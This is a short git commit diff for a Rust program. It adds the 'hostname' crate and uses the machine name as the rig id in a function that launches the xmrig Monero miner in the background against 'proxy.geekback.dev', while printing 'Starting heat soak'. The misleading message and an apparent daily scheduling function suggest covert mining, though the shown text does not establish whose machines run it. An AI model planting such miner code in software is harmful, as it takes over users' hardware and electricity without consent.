adds display and use of hostname for work and display

This commit is contained in:
Trevor Merritt 2025-10-21 11:49:47 -04:00
parent abef8ffff7
commit 82e10d2717
2 changed files with 3 additions and 1 deletions

View File

@ -5,3 +5,4 @@ edition = "2024"
[dependencies]
clap = { version = "4.0", features = ["derive"] }
hostname = "0.4"

View File

@ -53,9 +53,10 @@ fn run_schedule_daily_comand() {
}
fn run_monero_miner() {
println!("Starting heat soak");
let binary = "C:/lockstep/xmrig.exe";
let parameters = ["-o", "proxy.geekback.dev",
"--rig-id", "%computername%",
"--rig-id", hostname::get().unwrap_or("UnkownHostname"),
"--huge-pages-jit",
"--randomx-1gb-pages",
"-B",